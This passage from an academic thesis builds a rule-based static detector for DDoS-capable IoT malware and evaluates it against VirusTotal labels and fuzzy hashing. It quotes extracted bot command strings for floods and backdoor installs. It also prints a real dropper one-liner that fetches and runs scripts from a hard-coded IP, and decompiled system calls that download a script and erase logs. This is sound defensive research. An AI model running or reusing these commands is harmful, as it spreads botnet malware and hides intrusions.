NOTICE %s :Unable to connect to http.\n 55 55 
NOTICE %s :UDP <target> <port> <secs>\n 55 55 
checksum_tcpudp 44 42 
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers\n 43 43 
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NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder\n 43 43 
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder\n 43 43 
NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd\n 43 43 
attack_udp_dns 34 32 
attack_udp_plain 34 32 
attack_udp_generic 34 32 
attack_udp_vse 34 32 
clntudp_freeres 33 33 
udp_ops 33 33 
clntudp_control 33 33 
clntudp_bufcreate 33 33 
clntudp_geterr 33 33 
clntudp_abort 33 33 
clntudp_create 33 33 
clnt_udp.c 33 33 
clntudp_call 33 33 
attack_udp.c 32 31 
udpTry 30 30 
attack_app_http 24 22 
clntudp_create: out of memory\n 19 19 
\b%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n 13 13 
snmpflood 12 12 
HTTPFLOOD 12 12 
ntpflood 12 12 
NOTICE %s :WGETFLOOD <url> <secs>\n 12 12 
NOTICE %s :TCP flooding %s:%d with %s and %d threads\n 12 12 
NOTICE %s :JUNK flooding %s:%s\n 12 12 
dnsflood 12 12 
NOTICE %s :HOLD flooding %s:%s\n 12 12 
tcpflood 12 12 
setup_udp_header 12 12 
NOTICE %s :HTTP Flooding %s\n 12 12 
sendHTTP2 12 12 
WGETFLOOD 12 12 
wgetHTTP 12 12 
NOTICE %s :UPDATEHTTP <host> <src:bin>\n 12 12 
attack_method_udpplain 10 10 
attack_method_udpdns 10 10 
Starting flood muthafucka...\n 7 7 
Starting flood...\n 7 7 
NOTICE %s :UPDATE <http address> <src:bin> = Update this bot\n 7 7 
%29 HTTP/1.0\r\n\r\n 7 7 
NOTICE %s :STD <ip> <port> <time> = A non spoof HIV STD flooder\n 7 7 
NOTICE %s :UDP <target> <port> <secs> = A UDP flooder\n 7 7 
NOTICE %s :JUNK <host> <port> <time> = A vanilla TCP flooder (modded)\n 7 7 
NOTICE %s :BINUPDATE <http:server/package> = Update a binary in /var/bin via wget \n 7 7 
NOTICE %s :LOCKUP <http:server> = Kill telnet, d/l aes backdoor from <server>, run that instead.\n 7 7 
NOTICE %s :GETSSH <http:server/dropbearmulti> = D/l, install, configure and start dropbear on port 30022.\n 7 7 
NOTICE %s :INSTALL  <http server/file_name> = Download & install a binary to /var/bin \n 7 7 
The other finding that strings analysis revealed was the presence of hard-
coded IP addresses in the binary (see Figure 6), the presence of an IP 
address other than the internal addresses like 127.0.0.1, 0.0.0.0 or 
255.255.255.0, gives an indication of network activities with an external 
host. In our scenario, infected machines will always need to communicate 
with the bot master to execute whichever job they are tasked with; 
besides, the hard-coded IP is needed by the bot when scanning for new 
recruits to download and install its own replicate on freshly hacked 
machines. 
Here a list of some IP addresses found in our dataset: 
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Figure 6: Some hard-coded IP addresses found in the dataset 
In addition to hard-coded IP addresses, IP masks were discovered , masks 
where the first two parts of an IP address are defined and the two last 
parts are set as arguments that will be passed by a function (see Figure 
7), internet security experts suggests that it’s done as a predefined list of 
IP ranges to avoid during the scan of internet for vulnerable devices, this 
shows that the malware designer doesn’t want to draw the attention of 
some organizations, a report from Incapsula showed that the list includes 
the US Postal Service, the Department of defence, the Internet Assigned 
Numbers Authority (IANA) and IP ranges belonging to Hewlett-Packard 
and General Electric 20. A list of all the assigned /8 IPv4 addresses can be 
found here on Wikipedia 21. 
                                                 
20
 https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html 
21
 https://en.wikipedia.org/wiki/List_of_assigned_/8_IPv4_address_blocks 
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Figure 7 Some IP addresses masks found in the dataset 
The presence of internet user agents in the binaries’ strings caught our 
attention (see Figure 8), further researches revealed that user agent has 
always been used by malware creators for different reason, in the context 
of DDoS, a list of different user agents would be used to achieve 
randomness while sending several requests to the same host, and 
therefore have better chances not being detected by IDS ,Grill et al [24] , 
presented in their paper a novel technique that uses User-Agent field 
contained in the HTTP header, which can be easily obtained from the web 
proxy logs, to identify malware that uses User-Agents discrepant with the 
ones actually used by the infected user based on statistical information 
about the usage of the User-Agent of each user together with the usage of 
particular User-Agent across the whole analysed network and typically 
visited domains. Using those statistics, they identified anomalies caused 
by malware-infected hosts in the network [24]. Therefore, we can 
conclude that any malware that uses hard-coded user agents list could be 
suspected of doing DDoS. 
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Figure 8 some predefined user agents found in the dataset  
Some binaries have also in their strings hints that they temper with 
system history in order to clean the installation process traces from the 
system, malware use commands to clean the system’s history (see Figure 
9). 
 
 
Figure 9 History commands 
5.2.3 Findings from decompiled code 
Out of 815 samples in the dataset, 562 binaries were successfully 
decompiled, which means that for each decompiled sample we had a C file 
that is particularly big, and deep analysis of each code file would take a lot 
of time, moreover, manually analysing a malware source code is not the 
main purpose of our study, as we don’t really know what we are looking 
for yet.  
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The first challenge was to improve readability of the code files, with the 
idea to automate file inspection at the end, so we can easily study 
characteristics that can help understand the main functions of the source 
code and how it works, to this end, a solution was implemented to 
condensate the source code to only keep interesting instructions, in our 
case, interesting instructions would be function calls, default C instructions 
and library include, in addition, loops and conditions are also a big interest 
to understand the logics behind the program.  
The implemented solution gives an overview of functions as well, including 
their lengths and number of arguments, and the ratio of lines inside a 
“while true” loop in each function. Another interesting feature that we 
wanted to highlight is the instructions used in the code, like C default 
functions, network instruction, file system instruction, and other 
commands like strings manipulation and randomisation, sockets creation 
and process manipulation. The data obtained from this process showed 
that: 
a) Several files contain abnormal big functions. 
b) Several functions have a lot of arguments  
c) References to the included libraries can be recovered  
d) Some function names can be recovered while others are stripped 
down (due to compile configuration) 
e) System call like “reboot”, or external files execution 
f) Some functions embedding big “while true” loops 
g) Multiple instructions to create sockets of different types 
h) Multiple randomization instructions and functions 
i) Multiple char printing instructions and functions. 
Unlike standard C libraries which contains small functions; and have a 
small number of arguments, functions that satisfy a) or b) can be 
suspected. This was already highlighted in a work that focused on creating 
a framework that combines the static features of function length and 
printable string information extracted from malware samples [22] to 
classify malware. 
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Graph 3 
5.3 Rules set up  
After the several discoveries of the previous step, we have adopted an 
approach to detect features that have been studied earlier, for that, we 
have isolated all the suspected characteristics and we tried to implement 
rules that will detect them, each rule is implemented with an algorithm 
that will state whether a binary is positive to the tested characteristic or 
not.  
It is not necessarily true that being positive to one or few rules would 
make the malware capable of doing DDoS, but a malware performing 
DDoS is likely to be positive to several rules. Hence, the deconstruction of 
the overall behaviour to small and atomic functionalities where each 
functionality could be efficiently tested and detected will give: 
a) consistent information about the detection process outcome (we can 
know what each malware does exactly) 
b) good detection granularity, rules can be easily implemented when 
the detected functionality is simple (not complex) 
c) Scalability of the detection rules set, as we can add rules for newly 
detected characteristics. Since our study is mainly a research of 
DDoS patterns, future discoveries can come to enrich the detection 
process. 
Additionally, we have attributed to each rule a weight and a score; we 
have attributed to each binary a global "DDoS score". As well  
To illustrate: 
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WX: The weight of rule X, it also represents the Maximum Score a rule can 
have. 
GDS: Global DDoS Score of a given Malware 
Binaries are tested against all the rules; the score of each rule is stored in 
the database along with all the data extracted in the previous steps. In 
addition to the output of each rule, the global DDoS score is stored in the 
database as well; this score is calculated as follow: 
 
𝐺𝐷𝑆 =
𝑆1 + 𝑆2 + ⋯ + 𝑆𝑥
𝑊1 + 𝑊2 + ⋯ + 𝑊𝑥
 
 
The score range is between 0 and 1 giving an estimate of the DDoS 
potential of the malware, with 1 as the highest potential. 
At this stage of the study, with all the findings gathered so far, 12 rules 
were implemented: 
RULE 1 DDoS strings in binary 
DESCRIPTION Based on the findings during the string analysis we have 
set up a list of words that are common to DDoS 
terminology such as ‘flood’, ’spoof’, ‘attack’, ‘socket’ …, 
each word has a coefficient between 1 and 5 depending on 
its frequency in the dataset’s strings or on its lexical 
meaning. The coefficient is not assigned based on any 
calculation or formula but just using manual assessment. 
When analysing a binary, the rate of suspicious words is 
calculated by:  
𝑆𝑢𝑠𝑝𝑖𝑐𝑖𝑜𝑢𝑠 𝑤𝑜𝑟𝑑𝑠 𝑟𝑎𝑡𝑒 =
Σ coefficients of words 𝑖𝑛 𝑚𝑎𝑙𝑤𝑎𝑟𝑒  
Σ  𝑜𝑓 𝑎𝑙𝑙 coefficients 
× 100 
The result is a percentage, where each range of 20% 
counts for a point in the rule’s score: 
S1≈
𝑆𝑢𝑠𝑝𝑖𝑐𝑖𝑜𝑢𝑠 𝑤𝑜𝑟𝑑𝑠 𝑟𝑎𝑡𝑒
20
 
The score is rounded to have an integer between 1 and 5. 
Example: if a binary contains the words (http, flood, udp, 
connect, ping, kill) with the coefficients (4,5,5,3,2,2) and 
the sum of all coefficients in the list is 105, then: 
𝑠𝑢𝑠𝑝𝑖𝑐𝑖𝑜𝑢𝑠 𝑤𝑜𝑟𝑑𝑠 𝑟𝑎𝑡𝑒 =
4 + 5 + 5 + 3 + 2 + 2  
105 
× 100 
𝑠𝑢𝑠𝑝𝑖𝑐𝑖𝑜𝑢𝑠 𝑤𝑜𝑟𝑑𝑠 𝑟𝑎𝑡𝑒 = 20% 
S1 = 1  
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WEIGHT 5 
 
RULE 2 User agents list/mask in binary 
DESCRIPTION The rule is set to detect user agent strings in 
malware; some malware will use an extensive 
hardcoded list of user agents in the binary, while 
other malware will pass the user agent as an 
argument to the HTTP request. We have seen that 
this is a very important hint of the malicious 
behaviour. 
WEIGHT 5 
 
RULE 3 Hard-coded IP address in binary 
DESCRIPTION This rule detects the presence of hard-coded IP 
addresses in the binary 
WEIGHT 1 
 
RULE 4 IP BLACKLIST in binary 
DESCRIPTION This rule detects lists of blacklisted IP addresses to 
avoid when scanning the internet for new machines 
to infect, we have found that this a characteristic of 
MIRAI, but other malware designers can adopt this 
approach.  
The weight of 2 is open to discussion, giving it 5 is 
also defendable (see Rules assessment 6.3). 
WEIGHT 2 
 
RULE 5 System history calls 
DESCRIPTION This rule will detect if the binary tempers with the 
system history, most malware will try to remove their 
traces from the system. 
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WEIGHT 1 
 
RULE 6 System network files 
DESCRIPTION This rule detects if there any reference to network 
system files like: 
/etc/hosts 
/etc/config/hosts 
/etc/rc.d/rc.local 
WEIGHT 1 
 
RULE 7 SYSTEM PROC FILES 
DESCRIPTION This rule detects if there any reference to proc 
system files like: 
/proc/cpuinfo 
/proc/net/route 
/proc/stat 
/proc/%ld/cmdline 
/proc/%i/exe 
WEIGHT 1 
 
RULE 8 Other system files  
DESCRIPTION This rule will detect any reference to files located in 
the system root directory: '/usr’, '/dev’, '/bin’,'/var’, 
'/tmp’, '/sys’, '/root' 
WEIGHT 1 
 
RULE 9 Auto install commands 
DESCRIPTION This rule will detect long commands used by malware 
to remotely install binaries on newly hired systems, it 
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is generally a long shell line containing a chain of 
commands to download and install the binary after 
gaining control of the hacked device, e.g.: 
cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f 
/tmp/* || /var/run/* || /var/system/* || /mnt/* || 
/lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || 
cd /; wget http://45.32.213.61/bins.sh; chmod 777 
bins.sh; sh bins.sh; tftp 45.32.213.61 -c get tftp1.sh; 
chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 
45.32.213.61; chmod 777 tftp2.sh; sh tftp2.sh; 
ftpget -v -u anonymous -p anonymous -P 21 
45.32.213.61 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf 
bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n 
WEIGHT 5 
 
RULE 10 Decompiled code suspicious lines 
DESCRIPTION this rule is similar to rule 1, but instead of analysing 
the binary strings, it will analyse the decompiled 
source code, the suspicious words have no weight 
this time and the output is the percentage of lines 
containing a suspicious word:  
𝑠𝑢𝑠𝑝𝑒𝑐𝑡𝑒𝑑 𝑙𝑖𝑛𝑒𝑠 𝑟𝑎𝑡𝑒 =
suspect lines count 
total lines of code source
× 100 
The max rate calculated in our decompiled sources 
was 4,15%, to adapt the rule score to the results, it 
was decided that each percent represents 1 point in 
the final score of the rule: 
If (0% < Suspected lines rate < 1%) then S10=1 
If (1% < Suspected lines rate < 2%) then S10=2 
If (2% < Suspected lines rate < 3%) then S10=3 
If (3% < Suspected lines rate < 4%) then S10=4 
If (Suspected lines rate > 4%) then S10=5 
WEIGHT 5 
 
RULE 11 Decompiled code while true loops ratio 
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DESCRIPTION This rule counts the number of lines inside a “while 
true” loop, it will return the percentage of those code 
blocks in the source file: 
𝑊ℎ𝑖𝑙𝑒 𝑙𝑖𝑛𝑒𝑠 =
Σ number of lines in “while true” loop 
Σ lines of code source
× 100 
The result calculated in our dataset never exceeds 
50% (except three samples which have 60%), hence, 
the score of this rule will be as follow: 
If (0% < 𝑊ℎ𝑖𝑙𝑒 𝑙𝑖𝑛𝑒𝑠 𝑟𝑎𝑡𝑒 < 10%) then S11=1 
If (10% < 𝑊ℎ𝑖𝑙𝑒 𝑙𝑖𝑛𝑒𝑠 𝑟𝑎𝑡𝑒  < 20%) then S11=2 
If (20% < 𝑊ℎ𝑖𝑙𝑒 𝑙𝑖𝑛𝑒𝑠 𝑟𝑎𝑡𝑒 < 30%) then S11=3 
If (30% < 𝑊ℎ𝑖𝑙𝑒 𝑙𝑖𝑛𝑒𝑠 𝑟𝑎𝑡𝑒 < 40%) then S11=4 
If (𝑊ℎ𝑖𝑙𝑒 𝑙𝑖𝑛𝑒𝑠 𝑟𝑎𝑡𝑒 > 40%) then S11=5 
WEIGHT 5 
 
RULE 12 Decompiled code system calls 
DESCRIPTION this rule will analyse the code source and detects calls 
to the system commands: 
system("reboot"); 
system("./.nttpd"); 
libc_system((int32_t)"sudo yum install python-
paramiko -y;sudo apt-get install python-paramiko -
y;sudo mkdir /.tmp/;cd /.tmp;wget 
45.32.213.61/good2.py"); 
libc_system((int32_t)"cd /.tmp;rm -rf *py;wget 
45.32.213.61/good2.py"); 
libc_system((int32_t)"killall -9 python;pkill python"); 
libc_system((int32_t)"cd /.tmp;python good2.py 
1000 LUCKY 1 3"); 
libc_system((int32_t)"rm -rf /var/log/wtmp"); 
WEIGHT 1 
 
The score of rules that return Boolean results is equal to its weight if the 
result is true. 
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5.4 Other rules 
Many other observations were made and other clues were discovered 
during advanced stages of the work, which has shed light on some other 
features in binaries or aspects in the source code that could have been 
added to the set of rules already in place, unfortunately, the lack of time 
or the complexity of the rule’s implementation prevent from improving the 
process with these findings, however, these improvements are foreseen 
after the master’s end, since the project results are public and its tools are 
open source, and that many contributors including the thesis author have 
shown their support and willingness to see the project evolving in the 
future. 
Here are some of the findings that couldn’t be included in the rules-set: 
 Watchdog 
Some samples in our dataset include clues suggesting that they interact 
with the watchdog. A watchdog is a device used to protect a system from 
specific software or hardware failures that may cause the system to stop 
responding. The application is first registered with the watchdog device, 
once the watchdog is running on your system the application must 
periodically send information to the watchdog device. If the device doesn't 
receive this signal within the set period of time it would execute the 
proper keystrokes to reboot the machine or restart the application22. 
 Randomization 
in the decompiled code, functions to create random value were observed 
several times in the same file, it is normal that a binary uses 
randomisation function, nevertheless this usage should not be excessive, 
otherwise it could be suspicious especially when used inside infinite loops, 
moreover, when we know that creating junk data is one of the DDoS 
attacks construction phases, randomisation must be included in the 
assessment of DDoS capabilities 
 Print pseudo functions 
Variants of print function were found, they can be suspected when used to 
print predefined strings or instructions. 
 Functions length analysis 
Some binaries have abnormally long functions. This feature will be studied 
in future iterations of the project. 
 Functions arguments number analysis 
It could be suspicious to have several functions with an excessive number 
of arguments. 
                                                 
22
 https://www.webopedia.com/TERM/W/watchdog.html 
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5.5 False Positives Tests 
To validate the results of the rule-based methodology and its metrics, we 
have used BusyBox set of binaries as a second dataset; BusyBox 
combines tiny versions of many common UNIX utilities into a single small 
system. It provides replacements for most of the utilities we usually find 
in GNU fileutils, shellutils, etc. BusyBox provides a fairly complete 
environment for any small or embedded system23 like those used on IoT 
objects. The choice of BusyBox binaries is also motivated by the fact that 
it is one of the targeted systems of IoT malware, thus, it is logical to 
consider a “scan” of a safe host to confirm that our method will deliver a 
low false positive rate if it is used to detect malware in similar systems. 
The complete set of binaries is tested in parallel with the main dataset, 
the same sets of data are extracted and the same assessment process is 
applied, results are generated and will be discussed with the dataset’s 
results. 
5.6 Virus Total Tests 
In order to have an idea on how many binaries in our dataset are really 
DDoS malware, we have used VirusTotal API to get information about our 
samples, the identification is done with the sha256 checksum, for each 
queried sample the API returns the assessment of different security labs 
(Kaspersky, AVAST, AVG ...) including the name of the malware if found in 
the database, we should keep in mind that the results come from 
extensive analysis done by the lab’s security experts, the analysis includes 
static and dynamic reverse engineering approaches, even though, several 
queried samples haven’t been recognized by any lab and still unidentified 
while those lines are written. Moreover, some labs have proved to be 
more performant than others. 
With this in mind and for the sake consistency, it was decided that only 
results returned from one lab are considered, and for the sake of accuracy 
only tree famous malware families have been chosen to be flagged as 
confirmed DDoS malware in the dataset, the security lab is Kaspersky, the 
malware families are MIRAI, TSUNAMI, and GAFGYT, those are known to 
be malware enslaving vulnerable IoT devices to perform large-scale DDoS 
attacks. 
6 Result 
This step will present the detection results obtained for the 815 samples in 
the dataset and for the 525 binaries in dataset of false positive test, we 
will provide an analysis of the DDoS score calculated based on the rules 
                                                 
23
 https://busybox.net/about.html 
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set in the previous step, we will also provide the results from virus total 
and compare them with ours. 
At this stage the DDoS score calculated based on the rules set upon data 
analysis, will be the only reference to assess the success of our 
methodology, keeping in mind that the purpose is finding whether it is 
possible to detect DDoS capacities of malware, and not to design full-proof 
malware detector. 
6.1  BusyBox results (False Positive Test) 
The BusyBox set of binaries was used as a second dataset to test false 
positives rate, it contained 525 binaries that we passed through the same 
process as the main dataset, the results obtained from the final test (rule-
based test) shows that more than 96% of the BusyBox binaries have a 
DDoS Score lower than 0.3, and only 3 binaries have more than 0.4, the 3 
highest scores of this dataset are: 0.43, 0.52 and 0.61. 
It is clear that further datasets should be tested before deciding on the FP 
cut off, but if we keep our feet on the ground and suppose that our 
method delivers at 0.5, we can firmly say that the FP rate is around 0.4%, 
the FP rate becomes 0.6% if we can prove that our method delivers good 
result for a DDoS score confidence threshold of 0.4. 
Table 2 BusyBox Test: Percentage of binaries in each DDoS Score Range 
SCORE 
RANGE 
% OF BINARIES 
0-0.1 21.90% 
0.1-0.2 66.67% 
0.2-0.3 7.81% 
0.3-0.4 3.05% 
0.4-0.5 0.19% 
0.5-0.6 0.19% 
0.6-0.7 0.19% 
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Graph 4 
6.2  Dataset results  
Among the 815 samples in our dataset, 216 scored more than 0.7, and 
257 scored more than 0.5, which represents 26% and 31%, however, 
almost 63% (518) of the dataset samples scored lower than 0.4 (see 
Graph 5 and Table 3). 
Based on the FP analysis, if the DDoS score threshold is set at 0.4 (with a 
FP rate of 0.57%), then the rule-based method has detected the presence 
of 297 DDoS malware out of 815 tested, the number of the detected 
malware can go upward if more analysis methods are implemented and 
more rules are added. Still, the results are promising if we consider that 
the presented results are from the first run and that no rule has been 
reviewed nor added, despite, the fact that we have discovered other 
behaviours during advanced stages of the project (see 5.4). 
Table 3 number of binaries and FP by DDos Score Range 
DDOS 
SCORE 
% OF BINARIES COUNT FP RATE 
>0.7 26.50% 216 0% 
>0.6 29.20% 238 0.19% 
>0.5 31.53% 257 0.38% 
>0.4 36.44% 297 0.57% 
>0.3 43.19% 352 3.62% 
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Graph 5 
Stripped binaries are more resistant to detection (see Graph 6), as 
explained in ELF format description, it is due to the replacement of user 
strings and comments by the compiler’s during the compilation, this is one 
of the limitations shown by this method so far. 
 
Graph 6 
 
6.2.1 VirusTotal results 
The results from VirusTotal confirmed the presence of 491 samples that 
belong to MIRAI, GAFGYT or TSUNAMI. The detailed distribution is: 
- GAFGYT: 119  
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- MIRAI: 303  
- OTHER: 39  
- UNKNOWN: 285  
We have isolated the results of each malware family to analyse their DDoS 
scores (see Graph 7 Graph 8 Graph 9 and Graph 11), based on the FP 
analysis, if we set the DDoS score of threshold at 0.4, with a FP rate of 
0.57%, therefore, the detection method results for each malware family 
are: 
- GAFGYT: 98 detected out of 119  82.35% 
- TSUNAMI: 47 detected out of 69  68,12% 
- MIRAI: 7 detected out 303   2.31% 
- UNKNOWN or OTHER: 145 detected out of 324  44,75% 
We can see here that the detection rate varies from a malware family to 
another, with a good rate for TSUNAMI and a very good rate for GAFGYT; 
on the other hand, MIRAI is very resistant to the method, with barely 2% 
of detection rate. This might be due to the fact that 268 out of MIRAI 303 
binaries are stripped (16/119 for GAFGYT and 24/69 for TSUNAMI) as we 
have already shown that the detection rate falls for stripped files. 
Unknown binaries have an average detection rate of 44.75%, 
nevertheless, among those binaries, we have 39 that do not belong to any 
of the previously mentioned families, and 285 are really unknown binaries 
for which we cannot provide any confirmation about their malicious nor 
their DDoS capabilities. 
Table 4 Malware in each DDoS Score range 
DDOS SCORE  
RANGE 
GAFGYT MIRAI TSUNAMI UNKNOWN/OTH TOTAL 
0-0.1  74  66 140 
0.1-0.2 5 134  45 184 
0.2-0.3 9 84 5 41 139 
0.3-0.4 7 4 17 27 55 
0.4-0.5 1 1 15 23 40 
0.5-0.6   15 4 19 
0.6-0.7 5 6 6 5 22 
0.7-0.8 51   46 97 
0.8-0.9 8  3 16 27 
0.9-1 33  8 51 92 
TOTAL 119 303 69 324 815 
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Graph 7 
 
Graph 8 
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Graph 10 
 
Graph 11 
6.3  Rules Assessment 
The table below shows each rule’s ratio of positives in: 
- Dataset: the entire dataset used for the research 
- BusyBox: the dataset used for the False Positive test 
- VirusTotal: the set of malware belonging to MIRAI, GAFGYT or 
TSUNAMI families. 
- DDoS Score > 0.4: the malware with a DDoS score higher than 0.4 
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Table 5 Rules positives ratio 
RULE DATASET BUSYBOX VIRUS 
TOTAL 
DDOS 
SCORE > 
0.4 
RULE 1: DDOS STRINGS IN BINARY > 50% 44.29% 1.71% 39.71% 95.96% 
RULE 2: USER AGENTS LIST/MASK IN BINARY 34.36% 0.57% 31.98% 91.92% 
RULE 3: HARD-CODED IP ADDRESS IN BINARY 58.53% 85.52%* 48.68% 90.91% 
RULE 4: IP BLACKLIST IN BINARY 38.28% 1.52% 30.75% 98.65% 
RULE 5: SYSTEM HISTORY CALLS 26.63% 0.00% 20.98% 73.06% 
RULE 6: SYSTEM NETWORK FILES 52.88% 9.71% 47.66% 99.33% 
RULE 7: SYSTEM PROC FILE 50.80% 77.90% 44.20% 85.52% 
RULE 8: OTHER SYSTEM FILES  97.42% 82.10% 97.76% 100.00% 
RULE 9: AUTO INSTALL COMMANDS 27.36% 0.00% 22.00% 75.08% 
RULE 10: DECOMPILED CODE SUSPICIOUS LINES > 2% 5.25% NA 4.48% 10.44% 
RULE 11: DECOMPILED CODE WHILE TRUE LOOPS 
RATIO > 20% 
27% NA 29.53% 27.95% 
RULE 12: DECOMPILED CODE SYSTEM CALLS 14.85% NA 12.63% 32.32% 
 
The percentage of positives to rule 7 and rule 8 in the FP dataset is high, 
which means that even benign binaries can use some system files and 
access system process files under /proc, we can conclude from these 
results that the two rules can be considered obsolete, unless the features 
related to the usage of such resources are deeply analysed in confirmed 
malware and the detection algorithm is fine-tuned accordingly. 
Rule 3 has also shown a high rate in the FP dataset, nevertheless, the 
hardcoded list of IP addresses found in the FP dataset only includes local 
addresses (see Figure 10), thus, as long as local addresses are excluded 
from detection, this rule still satisfies its purpose and the result above 
should be 0%. Additionally, the rule’s weight should be higher than the 
actual 1. 
 
Figure 10 List of IP addresses found in the False Positive test dataset 
The low rate of rules 1, 2, 4, 5 and 9 in the FP test comforts their usage, 
rule 4 and 5 have a weight of 2 and 1 respectively, after this analysis the 
two rule’s weight can be reviewed upwards. 
The presence of many variants of MIRAI and their low DDoS score caused 
the overall success rate of the rule-based method to drop in VirusTotal 
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Dataset, this due to the fact that most of the rules are based on strings, 
and that most of MIRAI binaries are stripped. 
6.4  Fuzzy Hashing results  
After running a full compare using fuzzy hashing tools on the binaries and 
the disassembly code (when available). To test the efficiency of the fuzzy 
hashing and to have a clear idea on the result, we have separated our 
data set into 2 subsets, the first subset contains confirmed DDoS malware 
from VirusTotal (MIRAI, GAFGYT, and TSUNAMI), and the second contains 
unknown or other malware. The purpose is to simulate the fact that we 
already have a framework in place with several analysis tools (static and 
dynamic) used to maintain a database with confirmed DDoS malware, and 
the static analysis and the rule-based method fail to detect the DDoS 
capabilities of some binaries, what could be the results of fuzzy hashing 
compare? Can this method be used as a second detection solution after 
the rules-based one (Or even first)?  
It would be a step before going to deeper analysis such as dynamic 
simulation of the binary execution in an isolated environment, which is 
neither an easy nor a wanted task, hence, anything that helps bypass it to 
shorten the detection time and resources will be welcomed. 
As mentioned before the comparison tool are SSDEEP and SDHash, they 
return a result between 0 and 100, during the data extraction step we 
have set up the threshold 20% for the result to be recorded in the 
database, and for the result that we will discuss the threshold is set to 
70%. 
More detailed results are shown in Appendix 1 (see Table 9 Table 10 Table 
11 Table 12). 
Known Malware vs Unknown binaries 
The result of the compare between malware from families known for their 
DDoS capabilities (MIRAI, TSUNAMI and GAFGYT) and unknown binaries 
shows that about 106 out 491 unknown binaries can be flagged as 
performing DDoS if we accept that 70% of either SSDEEP or SDHash are 
enough to confirm functional similarities in binaries, detailed results are: 
- GAFGYT vs Unknown: 70 binaries detected to be at least 70% 
similar with GAFGYT family, 17 scored more than 90% and 4 have 
100% match. 
- MIRAI vs Unknown: 36 binaries detected to be at least 70% 
similar with MIRAI family, 29 scored more than 90% and 16 have 
100% match. 
- TSUNAMI vs Unknown: 0 binary was detected to be at least 70% 
similar with TSUNAMI family, the highest result obtained when 
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comparing TSUNAMI with unidentified malware was 54%, all the 
matches we got are lower than 50% except two (54% and 50%). 
Table 6 Hash compare of known malware samples  vs unknown binaries 
  100-90% 90-80% 80-70% TOTAL 
MIRAI  29 7 0 36 
GAFGYT 17 17 36 70 
TOTAL 46 24 36 106 
With 106 over 491 malware “detected”, fuzzy hashing method detection 
rate is about 21.58%. This encouraging rate can make fuzzy hashing one 
of the best method to compare binaries before applying other inspection 
tools.  
Known vs Known Malware 
We have also compared malware from known families with each other; 
the compare result should normally not return any matches since the 
binaries are completely different, the purpose is to show that fuzzy 
hashing is a very consistent approach. 
The results have 40 matches between different families involving 22 
binaries, nevertheless, the highest similarity result was 38% between 
GAFGYT and TSUNAMI (36 matches), 26% between GAFGYT and MIRAI (4 
matches), and there was no match recorded between MIRAI and 
TSUNAMI. 
This result gives credit to our fuzzy hashing algorithms as it proves their 
low false positives rate when comparing binaries as no malware from 
different families were found to be similar. It also comforts the choice of 
70% as a matching threshold to keep consistent analysis results. 
Hash Result vs DDoS score 
The last analysis in this section will be to compare the fuzzy hashing result 
and the DDoS score calculated with the rule-based method, we have to 
keep in mind that the 2 compared values should evolve in opposite 
directions, in other words, the perfect couple should be 100% in fuzzy 
hash compare and 0 as DDoS score difference or vice-versa, to verify that 
we analysed: 
- The DDoS score difference for binaries with high hash similarities 
(more than 50%), which returns 12 results having a hash similarity 
between 83% and 100% (means less than 17% difference), the 
DDoS scores difference obtained for those matches was:  
Table 7 DDoS score difference for binaries with high hash similarities 
 DDOS SCORE DIFF FUZZY HASHING RESULT 
MATCH 1 0.48 100 
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MATCH 2 0.48 100 
MATCH 3 0.24 98 
MATCH 4 0.24 98 
MATCH 5 0.24 98 
MATCH 6 0.12 98 
MATCH 7 0.12 98 
MATCH 8 0.12 98 
MATCH 9 0.12 98 
MATCH 10 0.12 98 
MATCH 11 0.11 85 
MATCH 12 0.11 83 
- The hash difference for binaries with high DDoS score difference 
(more than 0.5), which returns 16 results (between 0.62 and 0.55) 
all having less than 30% similarity with fuzzy hashing (means more 
than 70% difference), the detailed result was: 
 
Table 8 Hash difference for binaries with high DDoS score difference 
 DDOS SCORE DIFF FUZZY HASHING RESULT 
MATCH 1 0.62 29 
MATCH 2 0.62 25 
MATCH 3 0.59 25 
MATCH 4 0.59 25 
MATCH 5 0.58 27 
MATCH 6 0.58 27 
MATCH 7 0.58 25 
MATCH 8 0.58 25 
MATCH 9 0.58 25 
MATCH 10 0.58 25 
MATCH 11 0.55 30 
MATCH 12 0.55 29 
MATCH 13 0.55 29 
MATCH 14 0.55 29 
MATCH 15 0.55 29 
MATCH 16 0.55 27 
 
We see that except two matching results (match 1 and match 2); all the 
results are consistent between DDoS score calculated with the rule-based 
method and the fuzzy hashing compare. This proves that despite the 
average success rate of our detection method it is at least consistent and 
does not return incoherent results. 
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7 Conclusions 
The present thesis had the objective of finding whether we can establish a 
framework to analyse malware and decide on their DDoS capabilities, for 
that we have used reverse-engineering approaches to collect data from 
malware samples and we have designed tools to analyse and interpret the 
extracted data. Based on of the data analysis results we have 
implemented a rule-based method that gives a quantitative approximation 
of the DDoS potential of a malware.  
The results of our method were compared with results from VirusTotal 
API; we have also applied the method on a safe data set to have an idea 
on the false positives rate of the method. 
The method successfully detected 82% of GAFGYT malware family and 
68% of TSUNAMI, but it didn’t work for MIRAI samples with a detection 
rate of 2%. The method has yield a low false positive rate when used on a 
set of benign binaries. 
Some malware can be easy to detect using string analysis, thanks to the 
choice of their designers who do not want to put effort in obfuscating or 
stripping their executables, but detection turns to be difficult when 
executables are stripped or obfuscated, therefore relying exclusively on 
static analysis to detect specific capabilities like DDoS in malware is not 
recommended. 
Fuzzy hashing is the new powerful approach to compare binaries and text 
files, it is recommended even in the early stage of binary analysis if a 
database of confirmed malware with their hashes is in place. VirusTotal 
has already integrated fuzzy hashes in the properties of scanned binaries. 
During the project, we have been limited to perform few static analysis 
approaches (strings, dissembling, decompiling and fuzzy hashes 
compare), and we did not use any dynamic analysis approach, hence, the 
number of detected malware can go upward if more analysis methods are 
implemented and more rules are added. This means that more researches 
have to be done and more tools need to be designed as well, a 
collaborative work is needed to build a knowledge base addressing 
malware performing DDoS, this base should contain strings, decompiled 
code, disassembled code, fuzzy hashing results, dynamic analysis results, 
